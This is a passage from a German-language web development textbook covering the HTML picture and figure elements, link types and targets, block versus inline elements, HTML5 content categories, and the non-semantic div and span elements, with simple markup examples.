                        und einem DPR-Wert von 1 (einfache Pixeldichte) wird die Bilddatei 640.jpg gewählt, wobei sich die Bildbenennung nach der Viewport-Breite richtet.

                    

                    	
                        und einem DPR-Wert von 2 wird die Bilddatei 1280.jpg gewählt, da die reale Viewport-Breite in diesem Fall beim doppelten Wert liegt: 640px × 2 = 1280 px

                    

                    	
                        und einem DPR-Wert von 3 wird die Bilddatei 1920.jpg gewählt, da die reale Viewport-Breite nunmehr bereits beim dreifachen Wert liegt: 640px × 3 = 1920 px

                    

                

                
                    [Info]  Viewport

                    Unter dem Viewport versteht man den Fensterbereich im Browser, in dem die Webseite dargestellt wird.

                

                Neben der media-Angabe darf auch das type-Attribut zum Einsatz kommen, mit dem Sie dem Browser zusätzlich den Typ der Bilddatei mitteilen:

                <picture>
    <source srcset="bilder/640.avif, bilder/1280.avif 2x, bilder/1920.avif 3x" media="(max-width:640px)" type="image/avif">
    <source srcset="bilder/1024.avif, bilder/2048.avif 2x, bilder/3072.avif 3x" media="(max-width:1024px)" type="image/avif">
    <source srcset="bilder/1920.avif, bilder/2880.avif 2x"  
media="(max-width:1920px)" type="image/avif">
    <img src="bilder/apple6k_6016.jpg" alt="...">
</picture>


                Die Idee hinter diesem Attribut ist, dass hierdurch verhindert werden kann, ein Bild einzubinden, das der Browser (noch) nicht darstellen kann. Dies ist beispielsweise dann der Fall, wenn Browser das Bildformat (wie etwa AVIF) nicht unterstützen.

                Eine sehr gute Beschreibung sämtlicher Eigenschaften des Tags finden Sie unter dem Link https://developer.mozilla.org/de/docs/Web/HTML/Element/picture.

                Bitte beachten Sie, dass <picture> erst mit der Version 5.1 von HTML eingeführt wurde und deshalb in älteren Browser-Versionen nicht funktioniert. Details zur Einsetzbarkeit finden Sie etwa unter https://caniuse.com/?search=picture.

            
            
                Bild und Bildunterschrift – ein gutes Gespann

                Basierend auf unserem bisherigen Wissen ist es uns nicht möglich, ein Bild (<img> oder <picture>) und einen Text in Zusammenhang zu bringen, da Text (etwa <p>) und Bild zwei voneinander unabhängige Inhalte sind:

                <img src="bilder/a.jpg" alt="...">
<p>Das ist der Text, der als Bildunterschrift dienen sollte</p>


                Dies wäre jedoch etwa im Falle einer Bildunterschrift notwendig. Spätestens an dieser Stelle sollten Sie sich wieder einmal in Erinnerung rufen, dass Ihnen bei der Webentwicklung zwei Gruppen von Usern am Herzen liegen sollten: sehende User (Menschen ohne eingeschränkte Sehfähigkeit) und nicht-sehende User (Menschen mit eingeschränkter Sehfähigkeit, aber auch Suchmaschinen, Screenreader etc.).

                Einem sehenden User kann man mithilfe eines unter einem Bild stehenden Textes auf einfache Art und Weise vorgaukeln, dass das Bild und der Text in einem Zusammenhang stehen; einer Suchmaschine kann man jedoch nichts vormachen, denn diese sieht lediglich ein Bild und einen Text – den gewünschten Zusammenhang kann die Suchmaschine nicht erkennen.

                Einen Ausweg hierfür liefert das Tag <figure> zusammen mit dem Tag <figcaption>, wie das folgende Beispiel zeigt:

                <figure>
    <img src="bilder/a.jpg" alt="...">
    <figcaption>Das ist der Text, der als Bildunterschrift dient.</figcaption>
</figure>


                Die beiden Tags besitzen folgende Semantik:

                
                    	
                        figure stellt einen umgebenden Container dar, der ein Bild und eine Bildunterschrift (kann auch eine Bildüberschrift sein) in einen Zusammenhang stellt.

                    

                    	
                        figcaption enthält die Bildunterschrift/-überschrift zum darzustellenden Bild.

                    

                

                Alternativ zu der Verwendung des <img> innerhalb von <figure> darf auch <picture> zum Einsatz kommen:

                <figure>
    <picture>
        <source srcset="bilder/smartphone.jpg" media="(max-width:640px)">
        <source srcset="bilder/desktop.jpg" media="(max-width:1920px)">
        <source srcset="bilder/apple6K.jpg" media="(max-width:6016px)">
        <img src="bilder/standard.jpg" alt="...">
    </picture>
    <figcaption>Das ist der Text, der als Bildunterschrift dient.</figcaption>
</figure>


                Beachten Sie dabei, dass pro <figure> nur eine Bildunterschrift (<figcaption>) möglich ist. Der Spezialfall, dass man zu einem Bild sowohl eine Bildunterschrift als auch eine Bildüberschrift benötigt, kann demnach nicht mithilfe zweier <figure>-Tags gelöst werden.

                
                    [»]  Alternative Anwendungen von <figure>

                    Das Tag <figure> beinhaltet üblicherweise ein Bild, das mit einer Bildunterschrift versehen werden soll. Dies ist jedoch nicht zwingend: Anstelle des Bildes könnte etwa auch ein Zitat, ein Code-Snippet oder Ähnliches eingesetzt werden:

                

                <figure>
    <figcaption>Albert Einstein</figcaption>
     <blockquote>Lernen ist Erfahrung. Alles andere ist einfach nur Information.</blockquote>
</figure>


            
        
        
            5.4.6    Links sind die Grundidee des WWW

            Der Grundgedanke des WWW ist es, Dokumente (respektive Inhalte) miteinander zu verbinden. Um von einem Dokument zu einem anderen Dokument zu gelangen, benötigt man also eine Verbindung (Link) zwischen dem einen und dem anderen Dokument. Mit anderen Worten verweist ein Dokument auf ein anderes Dokument.

            Neben der Verlinkung zwischen Dokumenten (intern und extern – darauf werden wir noch kommen) stellen Verlinkungen auch Verbindungen zu Programmen her, die auf dem Gerät des Users installiert sind, etwa einem Mail- oder Telefonieprogramm.

            Die letzte Form der Verlinkung ist eine solche, bei der innerhalb eines Dokuments an verschiedene Stellen gesprungen werden kann (aus diesem Grund spricht man von sogenannten Sprungmarken). Aber alles der Reihe nach.

            Üblicherweise unterscheidet man also drei Kategorien von Links:

            
                	
                    Links auf interne wie externe Dokumente (üblicherweise HTML-Dokumente): Interne Dokumente sind solche, die Teil der eigenen Website sind; externe Dokumente sind üblicherweise eigenständige Websites (und in diesem Fall der Verweis auf die Homepage) oder spezielle Dokumente auf solchen Websites.

                

                	
                    Links auf Applikationen: Mithilfe solcher Verlinkungen wird der Browser angewiesen, eine andere Applikation (wie etwa ein Mailprogramm o. Ä.) zu öffnen. Da er selbst hierzu nicht in der Lage ist, übergibt er diese Anfrage an das Betriebssystem, das schlussendlich die gewünschte Applikation öffnet.

                

                	
                    Links auf Sprungmarken: Diese Variante kommt üblicherweise bei sehr langen Dokumente (mit sehr viel Inhalt) zum Einsatz, um an bestimmte Stellen im Dokument zu springen. Sprungmarken werden daher gerne bei langen Dokumenten, wie etwa technischen Dokumentationen, eingesetzt.

                

            

            Links werden in HTML über das Anker-Tag <a> angelegt, das eine für alle obigen Anwendungen einheitliche Syntax aufweist:

            <a href="{Adresse o. Ä.}">klickbares Element (Text, Bild etc.)</a>


            Allgemein kann jedes Element klickbar gemacht werden. Fast jedes Element kann von einem Anker-Tag umschlossen sein:

            
                	
                    Text (Normalfall): Ein User ist es gewohnt, auf einen unterstrichenen Text zu klicken, da er aus Erfahrung weiß, dass ein unterstrichener Text ein Link ist:
<a href="...">klickbarer Text</a>

                

                	
                    Bild: Ein User erkennt die Verlinkung von Bildern anhand des sich ändernden Cursorsymbols (Finger anstatt Pfeil):
<a href="..."><img src="..." alt="..."></a>

                

                	
                    Tabelle / Zelle einer Tabelle / Liste: Dieser Fall ist eher untypisch, aber zumindest möglich:

                    <a href="...">
    <ul>
        <li>Punkt Eins</li>
        <li>Punkt Zwei</li>
    </ul>
</a>


                

            

            
                Links auf (interne und externe) Dokumente

                Wie bereits erwähnt, unterscheidet man Dokument-Verlinkungen danach, ob diese auf Dokumente der eigenen Website (interne Dokumente) oder auf Dokumente fremder Websites (externe Dokumente) verweisen.

                Beginnen wir mit den internen Links. Die vielen Dateien, aus denen Websites in der Regel bestehen, werden schon aus Gründen der Übersicht in einer Verzeichnisstruktur abgelegt, ausgehend von einem sogenannten Root-Verzeichnis (Wurzelverzeichnis). Ein Beispiel hierfür sehen Sie in Abbildung 5.22.

                
                    [image: Beispiel für eine Verzeichnisstruktur]

                    Abbildung 5.22    
            Beispiel für eine Verzeichnisstruktur

                
                Wie auch schon bei Bildern wird die Angabe eines (relativen) Pfades benötigt. Angenommen, der User betrachtet gerade das Dokument a.html und möchte von dort aus das Dokument b.html aufrufen: Dann muss hierzu in a.html eine Verlinkung auf b.html existieren. Realisiert werden würde dies wie folgt (siehe Abbildung 5.22):

                <a href="b.html">Weiter zu b.html</a>


                Um auf Dokumente zuzugreifen, die sich innerhalb eines Verzeichnisses befinden, wechseln Sie also in dieses Verzeichnis hinein. Geben Sie dazu seinen Namen an, gefolgt von einem Schrägstrich: <a href="c/d.html"> weiter zu d.html</a>. In diesem Fall wird (ausgehend von a.html) zunächst in das Verzeichnis c hineingewechselt, um dort auf die Datei d.html zu verweisen. Dieses Vorgehen kann auch auf alle Verzeichnisse angewandt werden, die sich wiederum in diesem Verzeichnis befinden, in das man gerade hineingewechselt ist.

                Möchte man aus einem Verzeichnis herauswechseln, so verwendet man die Angabe ../, z. B. in: <a href="../a.html">weiter zu a.html</a>. In diesem Fall wird (ausgehend von d.html) aus dem Verzeichnis c herausgewechselt, um nun im übergeordneten Verzeichnis auf die Datei a.html zu verweisen.

                Weitere Beispiele basierend auf obiger Verzeichnisstruktur wären:

                
                    	
                        von a.html auf d.html: <a href="c/d.html">weiter zu d.html</a>

                    

                    	
                        von a.html auf g.html: <a href="e/f/g.html">weiter zu g.html</a>

                    

                    	
                        von d.html auf a.html: <a href="../a.html">weiter zu a.html</a>

                    

                    	
                        von g.html auf a.html: <a href="../../a.html">weiter zu a.html</a>

                    

                    	
                        von d.html auf g.html: <a href="../e/f/g.html">weiter zu g.html</a>

                    

                    	
                        von g.html auf d.html: <a href="../../c/d.html">weiter zu d.html</a>

                    

                

                Kommen wir nun zu den externen Links: Nicht selten möchte man von der eigenen Website auf andere Websites verweisen (beispielsweise, um detailliertere Informationen anzugeben, die auf anderen Websites zu finden sind). Möchten Sie direkt auf die Startseite (die Homepage) einer anderen Website verweisen, so ist die Angabe der Domain ausreichend; möchten Sie hingegen auf ein konkretes Dokument einer externen Domain verweisen, so müssen Sie (wie üblich) den Pfad zu diesem Dokument angeben.

                Im Rahmen externer Links stößt man oft auf ein zusätzliches Attribut namens target. Dieses Attribut darf vier mögliche Werte annehmen, wovon zwei üblich sind: _blank, _self (Standard), _top und _parent:

                
                    	
                        _self weist den Browser an, den Link in demselben Fenster/Tab zu öffnen, in dem sich die aktuelle Seite befindet. Das heißt, der aktuelle Inhalt der Seite wird durch den neuen Inhalt ersetzt.

                    

                    	
                        _blank wiederum weist den Browser an, das verlinkte Dokument bzw. die verlinkte Site in einem neuen Browserfenster/Tab zu öffnen (ob es ein neuer Tab oder ein neues Browserfenster wird, entscheiden die Voreinstellungen des Users in seinem Browser).

                        
                            [»]  Sollen externe Links die eigene Seite ersetzen?

                            Lange Zeit ging man davon aus, dass das Öffnen externer Links immer in einem neuen Browserfenster zu erfolgen hat. Dieser Ansicht ist man heutzutage nicht mehr, und das aus folgendem Grund: Das Standardverhalten ist das Öffnen von Links im selben Fenster. Man hat gelernt, dass die User gerne auf das Standardverhalten von Browsern vertrauen, da sie dies gewohnt sind. Konventionen sind für den User eine schöne Sache – das sollten wir beherzigen, auch wenn es manchmal unangenehm ist, von der eigenen Seite wegzuleiten.

                            Anders verhält es sich, wenn durch das Öffnen einer neuen Site Daten auf der aktuellen Seite verloren gehen (z. B. im Falle eines Formulars, an dem der User gerade arbeitet). In derartigen Fällen sollten Links immer in neuen Fenstern/Tabs geöffnet werden!

                        

                    

                    	
                        <a href="http://www.orf.at">Weiter zur ORF-Seite…</a> → Die eigene Website im Browser wird durch eine externe Website ersetzt.

                    

                    	
                        <a href="http://www.orf.at" target="_blank">Weiter zur ORF-Seite…</a> → Die externe Website wird in einem neuen Browserfester bzw. neuen Browser-Tab geöffnet.

                    

                

                Und schließlich können Links auch auf Applikationen führen. Beispielsweise kann mithilfe eines Mailprogramms, das auf dem Computer des Users installiert ist, eine neue E-Mail geöffnet oder über das installierte Telefonprogramm ein Telefonat initiiert werden. In beiden genannten Fällen obliegt die tatsächliche Umsetzung (also das Abschicken der E-Mail oder das Wählen der Telefonnummer) dem User.

                Oftmals hört man den Ausdruck »Verlinkung auf eine E-Mail-Adresse« oder »Verlinkung auf eine Telefonnummer«, was – technisch gesehen – nicht korrekt ist. Vielmehr handelt es sich eben um eine Verlinkung zu der Applikation, mit deren Hilfe in weiterer Folge eine E-Mail an die gewünschte E-Mail-Adresse geschrieben oder ein Anruf an die gewünschte Telefonnummer getätigt werden kann. Das geht wie folgt:

                
                    	
                        Öffnen des lokal installierten Mailclients, um eine neue E-Mail an den entsprechenden Empfänger zu erzeugen:

                        <a href="mailto:uwe.mutz@syne.at" target="_blank">Mail an Uwe Mutz schreiben</a>


                    

                    	
                        Öffnen des lokal installierten Telefonprogramms (etwa auch Skype o. Ä.) mit Angabe der zu wählenden Telefonnummer:

                        <a href="tel:+4357000" target="_blank">Die Nummer +43 5 7000 anrufen</a> 


                    

                

                Auf diese Art und Weise sind weitere vom User installierte Applikationen in der Lage, sich selbst im Betriebssystem des Users so zu registrieren, dass sie bei Angabe eines entsprechenden Präfixes aufgerufen werden. Ist etwa eine Applikation namens SYNE installiert, die im Betriebssystem das Präfix syne: angemeldet hat, so könnte diese Applikation mithilfe von <a href="syne:..." target="_blank">Weiter zu SYNE</a> aufgerufen werden. Kommunikationsprogramme wie etwa Zoom oder auch Applikationen wie der App-Store von Apple verwenden derartige Funktionalitäten.

                Problematisch wird es, wenn die gewünschte Applikation nicht existiert, denn dann werden unsere User aufgefordert, die gewünschte (alternative) Applikation selbst aus der Liste ihrer Applikationen auszuwählen, und spätestens dann überfordern wir in aller Regeln die meisten unserer User.

                Zuletzt betrachten wir noch Links auf Bereiche einer Seite (Sprungmarken).

                Hierzu benötigt man zwei Angaben:

                
                    	
                        denjenigen Link, von dem aus man an eine bestimmte Stelle im Dokument springt:

                        <a href="#springDaher">Spring dorthin</a> 


                    

                    	
                        Die Kennzeichnung dieser »bestimmten Stelle« (Sprungmarke):

                        <a id="springDaher"></a> 


                    

                

                Die Idee von Sprungmarken ist die, dass man im Falle recht langer Dokumente (wie beispielsweise bei One-Pagern, wo sämtliche Inhalte auf einer einzigen Seite zu finden sind) auf Stellen (Sprungmarken) verweist, zu denen der User springen kann, indem er auf den zugehörigen Link klickt. (Die Seite wird dabei nicht neu geladen.)

                
                    [+]  Springen oder scrollen?

                    Es muss nicht immer Springen sein, sondern es kann auch ein smoothes Scrollen sein. CSS stellt uns seit Mitte 2023 eine Scroll-Eigenschaft scroll() bereit.

                

            
        
    


                    
                        
        5.5    Easy: Block vs. Inline – die grundlegendste Unterscheidung von Elementen

        Vielleicht ist Ihnen beim Ausprobieren der Codes zuletzt aufgefallen, dass sich Anker-Elemente in Hinblick auf die Darstellung in einem Browserfenster von den bisherigen Elementen unterscheiden: Während (beinahe) alle bisher erwähnten Tags immer untereinander im Browserfenster erschienen, ist dies beim Anker anders gewesen: Dieser »schwimmt« im Textfluss mit.

        Betrachten wir folgendes Beispiel:

        <p>Hallo</p>
<p>Welt!</p>


        Auf so gut wie allen Displays werden die beiden Texte »Hallo« und »Welt!« untereinander darstellt, obwohl diese mit Sicherheit nebeneinander dargestellt werden könnten – und sei das Display noch so klein. Das Ergebnis wäre etwa so:

        Hallo


        Welt!


        Auch im Falle von Listenelementen oder anderen Tags ergibt sich so gut wie immer dasselbe Bild: Ein geöffnetes und nachfolgend schließendes Tag erwirkt eine Art »Zeilenumbruch« im Browserfenster. Der Grund hierfür ist, dass in HTML alle Tags als Blöcke angesehen werden. Manche von ihnen erstrecken sich über den gesamten horizontal zu Verfügung stehenden Bereich (auch wenn sie diesen nicht benötigen), andere tun dies nicht.

        Bis HTML 4.01 unterschied man grundsätzlich zwei Arten von Elementen (Tags):

        
            	
                Block-Elemente: Diese Elemente erzeugen einen Block (Rechteck), der den gesamten horizontal zur Verfügung stehenden Platz einnimmt, den das Elternelement zur Verfügung stellt. Eventuell kann ein Abstand nach allen Seiten der Box eingehalten werden. (Dies kann von Element zu Element variieren und wird später im Rahmen der Formatierung mit CSS beliebig verändert.) Block-Elemente erzeugen unsichtbare Linien, auf denen eventuell später Text oder Ähnliches geschrieben und platziert werden kann.

            

            	
                Inline-Elemente: Das sind Elemente, die auf einer Zeile eines Block-Elements platziert werden können. Beispiele sind <a> und <img>. Text ist im Übrigen kein Inline-Element, da es sich im Fall von Text um überhaupt kein Element (oder konkret: um einen Elementknoten) handelt (sondern um einen sogenannte Textknoten): Text ist ein Inhalt, kein Element!

            

        

        Würden wir uns an eine Einordnung unserer bereits bekannten Tags wagen, so könnten wir sie in etwa wie folgt zusammenfassen:

        
            
                
                    	
                        Tag

                    
                    	
                        Inline

                    
                    	
                        Block

                    
                

            
            
                
                    	
                        h1, h2, h3, h4, h5, h6

                    
                    	
                    	
                        x

                    
                

                
                    	
                        p

                    
                    	
                    	
                        x

                    
                

                
                    	
                        ul, ol, dl

                    
                    	
                    	
                        x (CSS: list, siehe Abschnitt 6.8.3)

                    
                

                
                    	
                        li, dt, dd

                    
                    	
                    	
                        x (CSS: list-item, siehe Abschnitt 6.8.3)

                    
                

                
                    	
                        img

                    
                    	
                        x

                    
                    	
                

                
                    	
                        a

                    
                    	
                        x

                    
                    	
                

                
                    	
                        table, tr

                    
                    	
                    	
                        x (CSS: table und table-row, siehe Abschnitt 6.8.3)

                    
                

                
                    	
                        td

                    
                    	
                    	
                        x (CSS: table-cell, siehe Abschnitt 6.8.3)

                    
                

            
        

        Tabelle 5.7    
            Welche Tags sind Block-Elemente? Und welche sind Inline-Elemente?

        Block-Elemente stellen inhaltlich einen zusammenhängenden Bereich dar und geben ihm eine semantische Bedeutung. Ein sehr prominentes Beispiel hierfür stellt das Block-Element <p> dar, das einen Textabsatz umfasst und ihn mit Abständen darüber und darunter von anderen Bereichen des Dokuments trennt. Eine Ausnahme von dieser Regel ist das <div> (siehe Abschnitt 5.7).

        Ein Block-Element kann Inline-Elemente (die sich auf den unsichtbaren Zeilen eines Block-Elements bewegen) oder auch Block-Elemente beinhalten, wodurch eine Art »Ebenen- oder Hierarchiedarstellung« erzeugt wird. (Deshalb spricht man auch, wie bereits zuvor erwähnt, von »verschachtelten Elementen«.) Die höchste Ebene für Block-Elemente ist das Element <body>.

        Insbesondere die Inline-Elemente sind in unserer Betrachtung bis dato etwas zu kurz gekommen. Das liegt daran, dass sich diese Elemente zumeist (lediglich) auf die Semantik von (hauptsächlich) Texten auswirken: Hervorhebungen etc. Aus diesem Grund führe ich weitere Inline-Elemente in Tabelle 5.8 an, sodass Sie sich einen Überblick verschaffen können.

        
            
                
                    	
                        Element

                    
                    	
                        Bedeutung

                    
                    	
                        Anwendungsgebiete

                    
                

            
            
                
                    	
                        <a>
<img>
<br>
<span>

                    
                    	
                        Diese Elemente haben Sie bereits kennengelernt bzw. lernen Sie im Falle von <span> in Kürze kennen, weshalb ich nicht weiter auf deren Bedeutung eingehe.

                    
                    	
                

                
                    	
                        <b>

                    
                    	
                        Dieses Tag hatte in früherer Zeit den Effekt, Text fett zu schreiben. Weil dies jedoch eine rein physische Auszeichnung ist, hat man diesem Tag nun eine zusätzliche Bedeutung gegeben: Es erzeugt eine allgemeine Form der Hervorhebung. Das W3C empfiehlt, dieses Tag eher zu meiden.

                    
                    	
                        Hervorheben von Schlagworten, Produktnamen etc.

                    
                

                
                    	
                        <strong>

                    
                    	
                        Um einen Text als besonders wichtig hervorzuheben, wird das Tag <strong> eingesetzt. Visuell ähnelt es dem <b>, wobei <b> nur die Möglichkeit einer allgemeinen Hervorhebung hat.

                    
                    	
                        Hervorheben von wichtigen Informationen

                    
                

                
                    	
                        <i>

                    
                    	
                        Auch dieses Tag hatte in HTML4 eine andere Bedeutung als in HTML5. Wurde es vor HTML5 noch als Tag zum Kursiv-Schreiben verwendet (was ja wiederum eine physische Auszeichnung ist, die es in HTML5 nicht mehr gibt), so wird es nun eingesetzt, um Text zu markieren, der, würde er ausgesprochen werden, mit einer besonderen Betonung versehen wird.

                    
                    	
                        Alternativ betonter Text, technische Begriffe, Gedanken, Fremdwörter etc.

                    
                

                
                    	
                        <em>

                    
                    	
                        Dieses Tag erscheint im ersten Moment sehr ähnlich zu <i>, zielt es doch auch darauf ab, Text mit einer anderen Betonung zu versehen. Dennoch ist der Sinn dieses Tags, dem gesamten Satz durch die Betonung eines Wortes (oder gegebenenfalls mehrerer Wörter) eine andere Bedeutung zu geben.

                    
                    	
                

                
                    	
                        <sub>
<sup>

                    
                    	
                        Diese beiden Tags (subscript – tiefstellen und superscript – hochstellen) werden für das Tief- bzw. Hochstellen von Text verwendet, wie es etwa für chemische Formeln wie H2O (H<sub>2</sub>O) oder mathematische Gleichungen wie a2+b2=c2 (a<sup>2</sup> +b<sup>2</sup>=c<sup>2</sup>) benötigt wird.

                    
                    	
                        Tief- und Hochstellen von Text

                    
                

                
                    	
                        <small>

                    
                    	
                        Auch wenn man zunächst annehmen könnte, dass dieses Tag zum Kleinschreiben gedacht ist, so müsste man sich sofort darauf besinnen, dass HTML keine Formatierungs-Tags besitzt. Vielmehr dient dieses Tag dazu, das »Kleingedruckte« darzustellen.

                    
                    	
                        Kleingedrucktes, Nebensätze etc.

                    
                

                
                    	
                        <time>

                    
                    	
                        Dieses Tag dient zum Kennzeichnen beliebig dargestellter Datums- oder Zeitinformationen. Beispiele wären etwa der Satz »Weihnachten findet auch heuer wieder am 24. Dezember statt« (<p>Weihnachten findet auch heuer wieder am <time>24. Dezember</time> statt</p>) oder »Der Vorverkauf beginnt um 23:59 Uhr« (<p>Der Vorverkauf beginnt um <time>23:49 Uhr</time></p>).

                    
                    	
                        Kennzeichnen von Datums- und Zeitwerten

                    
                

            
        

        Tabelle 5.8    
            Inline-Elemente

        Weitere Inline-Elemente existieren natürlich, jedoch ist es nicht mein Ziel, in diesem Abschnitt eine vollständige Auflistung zu liefern. Wenn Sie an einer solchen Liste interessiert sind, schauen Sie etwa unter https://developer.mozilla.org/en-US/docs/Web/HTML/Inline_elements.

    


                    
                        
        5.6    Not so easy: Content Categories ab HTML5

        Mit dem Einzug von HTML5 wurde die – zugegebenermaßen sehr einfache – Unterteilung in Block- und Inline-Elemente abgeändert bzw. verbessert: Man spricht nun von Inhaltskategorien, die in folgende Gruppen unterteilt sind und entsprechende Regeln formulieren, wie sie eingesetzt werden:

        
            	
                Hauptinhaltskategorien (Main Content Categories): Hier werden gemeinsame Regeln beschrieben, die von vielen Elementen geteilt werden.

            

            	
                Formularbezogene Inhaltskategorien (Form-related Content Categories): An dieser Stelle werden gemeinsame Regeln für formularbezogene Elemente beschrieben.

            

            	
                Spezifische Inhaltskategorien (Specific Content Categories): Mit ihnen werden Regeln beschrieben, die nur selten oder nur in einem besonderen Zusammenhang verwendet werden. Auf diese Kategorieren werde ich nicht gesondert eingehen.

            

        

        
            [»]  Die Zuweisung von Elementen zu Kategorien

            Es sei an dieser Stelle angemerkt, dass ein jedes HTML-Element keiner, einer oder mehreren Kategorien zugewiesen sein kann. Insbesondere kann ein HTML-Element eben auch Teil keiner dieser Kategorien sein.

        

        Der Grund, warum das Wissen um diese Kategorien wichtig ist, ist folgender: Wie Sie bereits wissen, können Elemente ineinander verschachtelt werden. Nur: Darf ein jedes Element in ein jedes Element verschachtelt werden? Die Antwort lautet: Nein! Welche Elemente in welche anderen Elemente verschachtelt werden dürfen, finden Sie in der Dokumentation zu den Elementen, wie etwa auf der Developer-Site von Mozilla (siehe Abbildung 5.23).

        
            [image: Die technische Dokumentation von Elementen gibt Auskunft darüber, wie Elemente verwendet werden dürfen.]

            Abbildung 5.23    
            Die technische Dokumentation von Elementen gibt Auskunft darüber, wie Elemente verwendet werden dürfen.

        
        
            5.6.1    Main Content Categories

            Die Hauptinhaltskategorien umfassen die meisten Regeln von HTML-Elementen und sind nachfolgend aufgelistet (Quelle: https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories):

            
                	
                    Meta Data Content: Elemente, die zu dieser Kategorie gehören, ändern die Darstellung oder das Verhalten des Rests des Dokuments, richten Verknüpfungen zu anderen Dokumenten ein oder übermitteln andere Informationen, die nicht dem Inhalt zugeordnet werden können. Beispiele hierfür sind etwa <link>, <meta>, <script>, <style> und <title>. Mithilfe dieser Kategorie an Elementen wird kein Inhalt generiert, weshalb sie üblicherweise im <head> eines Dokuments anzutreffen sind.

                

                	
                    Flow Content: Diese Kategorie stellt die größte Gruppe dar, denn in ihr befinden sich die meisten Elemente, die in das <body>-Element eingefügt werden können. Ob diese nun – nach der HTML4.01-Konvention – block- oder inline-artige Elemente darstellen, ist unerheblich. Auch Textknoten werden dieser Gruppe zugeordnet. Hierzu gehören unter anderem: <a>, <article>, <aside>, <audio>, <b>, <bdo>, <bdi>, <blockquote>, <br>, <button>, <canvas>, <cite>, <code>, <data>, <datalist>, <del>, <details>, <dfn>, <div>, <dl>, <em>, <embed>, <fieldset>, <figure>, <footer>, <form>, <h1>, <h2>, <h3>, <h4>, <h5>, <h6>, <header>, <hgroup>, <hr>, <i>, <iframe>, <img>, <input>, <ins>, <kbd>, <label>, <main>, <map>, <mark>, <math>, <menu>, <meter>, <nav>, <noscript>, <object>, <ol>, <output>, <p>, <picture>, <pre>, <progress>, <q>, <ruby>, <s>, <samp>, <script>, <section>, <select>, <small>, <span>, <strong>, <sub>, <sup>, <svg>, <table>, <template>, <textarea>, <time>, <u>, <ul>, <var>, <video> und <wbr>.

                    Unter bestimmten Voraussetzungen gehören auch die folgenden Elemente zu dieser Gruppe:

                    
                        	
                            <area>, wenn es ein Nachkomme eines <map>-Elements ist

                        

                        	
                            <link>, wenn das itemprop-Attribut vorhanden ist

                        

                        	
                            <meta>, wenn das itemprop-Attribut vorhanden ist

                        

                    

                

                	
                    Sectioning Content: Diese Inhalte sind eine Untergruppe (Teilmenge) von Flow Content und können überall dort zum Einsatz kommen, wo Flow Content erlaubt ist. Sie dienen im Wesentlichen zum Erzeugen eines Abschnitts in der aktuellen Gliederung im Umfang von <header> und <footer> sowie von Überschriften. Elemente dieser Kategorie sind <article>, <aside>, <nav> und <section>.

                

                	
                    Heading Content: Elemente dieser Gruppe sind wiederum eine Teilmenge von Flow Content und kennzeichnen entweder eine Überschrift im Rahmen eines Sectioning Contents oder direkt im Dokument (also ohne Sectioning Content). Hierzu gehören die Elemente <h1> bis <h6>.

                    
                        [»]  Header vs. Überschriften

                        Obwohl es naheliegen würde, dass auch <header> einen Überschriftenteil beinhaltet, so ist dieses Tag dennoch kein Teil von Heading Content.

                    

                

                	
                    Phrasing Content ist ebenfalls eine Teilmenge von Flow Content. Diese Elemente definieren den Text und das darin enthaltene Markup und können überall dort verwendet werden, wo Flow Content erlaubt ist. Eine Auflistung aller in dieser Gruppe enthaltenen Elemente finden Sie unter dem zuvor genannten Link der Mozilla Developer Site. Erwähnt werden sollte jedoch an dieser Stelle, dass auch einfacher Text (der nicht aus nur einem einzigen Leerzeichen besteht) in ihr enthalten ist.

                

                	
                    Embedded Content ermöglicht das Einbetten von externem Content wie etwa Bildern oder Videos. Zu dieser Kategorie gehören demnach unter anderem <audio>, <canvas>, <embed>, <iframe>, <img>, <math>, <object>, <picture>, <svg> und <video>.

                

                	
                    Interactive Content wurde speziell in Hinblick auf Benutzerinteraktion jedwelcher Natur entwickelt: <a>, <button>, <details>, <embed>, <iframe>, <label>, <select> und <textarea>. Einige weitere Elemente gehören nur unter bestimmten Bedingungen zu dieser Kategorie:

                    
                        	
                            <audio>, wenn das Attribut controls vorhanden ist

                        

                        	
                            <img>, wenn das usemap-Attribut vorhanden ist

                        

                        	
                            <input>, wenn das type-Attribut nicht ausgeblendet ist

                        

                        	
                            <menu>, wenn sich das type-Attribut im Toolbar-Zustand befindet

                        

                        	
                            <object>, wenn das usemap-Attribut vorhanden ist

                        

                        	
                            <video>, wenn das Attribut controls vorhanden ist

                        

                    

                

            

        
        
            5.6.2    Form-related Content Categories

            Form-related Content (formularbezogener Inhalt) umfasst alle Elemente, die einem Formular zugeordnet sind. Dies erfolgt entweder dadurch, dass sich das Element innerhalb eines Formulars befindet, oder über ein id-Attribut einem Formular zugeordnet ist. Auch umfasst diese Kategorie weitere Unterkategorien:

            
                	
                    listed: alle formularbezogenen Elemente

                

                	
                    labelable: beschriftbare Elemente, die mit <label>-Elementen verknüpft werden können

                

                	
                    submittable: Elemente, die den Inhalt eines Formulars bzw. desjenigen Datensatzes darstellen, sollte das Formular versendet werden

                

                	
                    resettable: Elemente, deren Werte durch das Resetten eines Formulars zurückgesetzt werden

                

            

        
    


                    
                        
        5.7    Bedeutungslose Elemente – nichts für echte Webdesigner*innen

        Manches Mal benötigt man auf einer Website Bereiche (Blöcke, Rechtecke), in die weitere Elemente hineinplatziert werden (etwa um eine gezieltere Formatierung von Elementen vornehmen zu können, wie Sie es in Abbildung 5.8 sehen). Da man nicht allen dieser Bereiche eine Bedeutung geben kann, müssen Elemente existieren, die bedeutungslos (d. h. ohne Semantik) sind – sie erzeugen lediglich Bereiche/Blöcke, in die man später weitere Elemente platzieren kann. Oft spricht man auch von »grafischen oder Gruppen-Elementen«, da diese häufig für grafische Zwecke eingesetzt werden.

        Für beide zuvor kennengelernte Arten existiert je ein bedeutungsloses Element:

        
            	
                Block-Elemente/Container für Flow Content: <div>

            

            	
                Inline-Elemente/Container für Phrasing Content: <span>

            

        

        Sowohl das <div> als auch das <span> sollten nur dann zum Einsatz kommen, wenn kein anderes Element passend ist.

    


                    
                        
        5.8    Elemente mit (besonderer) Bedeutung

        An sich besitzt jedes Element in HTML eine Bedeutung/Semantik (bis auf <div> und <span>). Dennoch gibt es in HTML einige Elemente, die für den Grundaufbau einer Webseite von vorrangiger Bedeutung sind.

        
            5.8.1    Strukturgebende Elemente sind die Basis jeder Webseite

